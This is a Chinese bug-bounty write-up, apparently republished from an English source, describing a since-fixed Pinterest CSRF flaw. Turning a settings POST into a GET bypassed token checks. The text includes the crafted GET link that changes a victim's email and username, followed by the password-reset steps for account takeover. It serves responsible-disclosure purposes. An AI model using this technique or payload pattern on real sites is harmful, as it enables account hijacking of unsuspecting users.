挖洞經驗 | 看我如何發現Pinterest任意賬號劫持漏洞
本文分享的是關於美國圖片社交網站Pinterest的一個賬號劫持漏洞,漏洞原因主要在於可以構造跨站請求偽造(CSRF)攻擊,更改任意使用者的郵箱ID和使用者名稱,以此實現賬號劫持。對於每月有2.5億活躍使用者的Pinterest網站來說,該漏洞影響非常嚴重。本文的漏洞披露已經Pinterest官方允許,其中提及的賬戶僅為測試賬戶。
Pinterest是美國熱門的圖片社交網站,Pinterest堪稱圖片版Twitter,網民可以將感興趣的圖片在Pinterest儲存,其他網友可以關注,也可以轉發圖片。
漏洞原因
當我在瀏覽“ https://www.pinterest.com ”主站時,偶然發現,其中的CSRF令牌(token)通過http頭的“X-CSRFToken”進行傳輸,為了驗證CSRF令牌的應用實現機制,我在BurpSuite中構造了以下請求,來對使用者的一些設定進行更改。
POST /_ngjs/resource/UserSettingsResource/update/ HTTP/1.1
Host: www.pinterest.com
Content-Type: application/x-www-form-urlencoded
X-CSRFToken: <CSRF Token>
……..
……..
<POST Parameters>
首先,在以上POST請求中,我嘗試著把“X-CSRFToken”頭去掉,然後轉發出去,反饋回來的響應錯誤為:“/resource/UserSettingsResource/update/ didn’t finish after 8 seconds”,也就意味著,這種方式下,CSRF令牌可能正在被驗證。
接下來,我把POST請求改為GET請求,並且仍然去掉了”X-CSRFToken”頭,並轉發出去,這一次反饋回來的響應就是有效的“200 ok” 了。
夠明白的了,當把POST請求轉變為GET之後,CSRF令牌就不會被Pinterest服務端驗證。而且,經我測試發現,Pinterest應用的多個服務端都存在這種CSRF漏洞隱患。
賬號劫持
由於這是一個基於CSRF的GET請求,基於Pinterest的各種服務端元素,我們要做的就是構造形同以下的一個連結即可,在BurpSuite中可用“change request method”選項來方便地構造。
“https://www.pinterest.com/_ngjs/resource/UserSettingsResource/update/?source_url=%2Fsettings%2F&data=%7B%22options%22%3A%7B%22impressum_url%22%3Anull%2C%22last_name%22%3A%22dummy%22%2C%22custom_gender%22%3Anull%2C%22locale%22%3A%22en-US%22%2C%22has_password%22%3Atrue%2C%22email_settings%22%3A%22Everything+%28except+emails+you%27ve+turned+off%29%22%2C%22news_settings%22%3A%22Activity+from+other+people+on+Pinterest%22%2C%22id%22%3A%22%22%2C%22is_write_banned%22%3Afalse%2C%22first_name%22%3A%22dummyuser%22%2C%22push_settings%22%3A%22Everything+%28except+push+you%27ve+turned+off%29%22%2C%22personalize_from_offsite_browsing%22%3Atrue%2C%22facebook_timeline_enabled%22%3Afalse%2C%22email_changing_to%22%3Anull%2C%22personalize_nux_from_offsite_browsing%22%3Afalse%2C%22is_tastemaker%22%3Afalse%2C%22type%22%3A%22user_settings%22%2C%22<b></b>%22%2C%22website_url%22%3A%22%22%2C%22location%22%3A%22%22%2C%22<b></b>%22%2C%22pfy_preference%22%3Atrue%2C%22facebook_publish_stream_enabled%22%3Afalse%2C%22email_bounced%22%3Afalse%2C%22is_partner%22%3Anull%2C%22ads_customize_from_conversion%22%3Atrue%2C%22additional_website_urls%22%3A%5B%5D%2C%22about%22%3A%22test%22%2C%22gender%22%3A%22male%22%2C%22age%22%3Anull%2C%22exclude_from_search%22%3Afalse%2C%22birthdate%22%3Anull%2C%22show_impressum%22%3Afalse%2C%22email_biz_settings%22%3A%22Everything+%28includes+announcements%2C+expert+tips%2C+creative+ideas%2C+and+more%29%22%2C%22country%22%3A%22IN%22%2C%22hide_from_news%22%3Afalse%2C%22collaborative_boards%22%3A%5B%5D%7D%2C%22context%22%3A%7B%7D%7D”
任意Pinterest使用者點選以上鍊接之後,其使用者名稱和註冊郵箱會分別被更改為“dummyuser”和“[email protected]” ,當然了,[email protected]是我控制的一個合法郵箱。
以上攻擊奏效之後,我再瀏覽以下Pinterest的密碼重置連結:
https://www.pinterest.com/password/reset/
然後,我登入我控制的這個[email protected]郵箱,獲取到Pinterest傳送給我的使用者密碼重置連結,重置密碼,接下來就能用dummyuser使用者名稱和新密碼登入受害者賬號,完美實現劫持。
漏洞上報程序
感謝 Pinterest 安全團隊對該漏洞的重視。
2018.12.1 漏洞上報 2018.12.7 漏洞分類 2018.12.7 Pinterest發放我$2400美金獎勵 2018.12.7 漏洞修復
*參考來源: infosecflash ,clouds編譯,轉載請註明來自FreeBuf.COM